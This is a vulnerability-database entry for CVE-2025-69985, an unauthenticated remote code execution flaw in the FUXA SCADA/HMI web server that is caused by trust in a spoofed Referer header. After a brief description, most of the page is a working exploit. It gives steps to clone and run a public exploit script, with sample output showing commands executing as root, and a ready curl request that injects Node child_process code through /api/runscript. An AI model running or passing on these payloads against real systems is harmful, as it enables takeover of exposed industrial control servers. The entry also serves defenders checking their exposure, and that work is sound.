# CVE-2025-69985 - FUXA Unauthenticated RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-69985
- **CVE:** CVE-2025-69985
- **GHSA:** GHSA-4r4r-4jp4-wwf9
- **CVSS score:** 9.8
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-284
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** <1.2.10
- **Patched versions:** >=1.2.10
- **Published:** 2026-02-25
- **Updated:** 2026-02-26

CVE-2025-69985 is a critical flaw in FUXA (up to 1.2.8) where the `server/api/jwt-helper.js` middleware mistakenly trusts the HTTP **Referer** header to decide whether a request is “internal.” By spoofing the Referer to match the server’s own host, a remote attacker can bypass JWT authentication without credentials. This can lead to **unauthenticated remote code execution (RCE)**, meaning the attacker may be able to run commands on the server and potentially take over the FUXA instance and its data.

#### Unauthorised RCE

**[joshuavanderpoll/CVE-2025-69985](https://github.com/joshuavanderpoll/CVE-2025-69985)** - CVE-2025-69985: FUXA ≤1.2.8 Auth Bypass + RCE via /api/runscript

```bash
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985

python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

python3 CVE-2025-69985.py -u http://$TARGET_IP:$TARGET_PORT/ -c whoami
#
#
#  Target : http://localhost:1881
#  Command: whoami
#
# [*] Preparing payload → executing: whoami
# [*] Sending exploit request to /api/runscript ...
# [*] Response status: 200
# [+] Command executed successfully (CVE-2025-69985 bypass)!
#
# === COMMAND OUTPUT ===
# "root\n"
# ======================
#
#
# ======================================================================
#  Exploit completed!.
# ======================================================================
```

#### Minimal CURL command

```bash
curl -X POST http://$TARGET_IP:$TARGET_PORT/api/runscript -H "Content-Type: application/json" -H "Referer: http://$TARGET_IP:$TARGET_PORT/fuxa" -d '{"params":{"script":{"parameters":[],"mode":"","id":"test","name":"test","code":"const cp = require(\"child_process\"); return cp.execSync(\"whoami\").toString();","test":"const cp = require(\"child_process\"); return cp.execSync(\"whoami\").toString();"},"toLogEvent":false}}'
# "root\n"
```